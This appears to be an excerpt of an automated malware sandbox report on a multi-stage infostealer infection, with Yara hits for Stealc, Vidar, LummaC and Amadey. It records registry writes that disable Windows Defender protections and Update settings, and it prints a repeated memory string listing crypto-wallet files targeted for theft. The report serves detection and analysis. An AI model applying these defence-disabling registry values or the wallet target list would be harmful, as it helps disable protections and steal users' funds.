Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 067286f766.exe, 0000001A.00000003.3161696576.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.3018370797.0000000000C23000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.skotes.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.DocumentsHCFCAAEBGC.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2492523821.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2683186845.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2451968949.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2408785578.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2450727529.0000000000CE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2452853809.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2494111501.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000001D.00000003.3005367045.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 92cf6f64c8.exe PID: 9176, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 067286f766.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 067286f766.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2413344379.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3162156338.000000000140B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2902525546.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2942770263.0000000000621000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3136078314.0000000000621000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.3080110945.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2048304641.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fd9f6e129b.exe PID: 5668, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1656, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
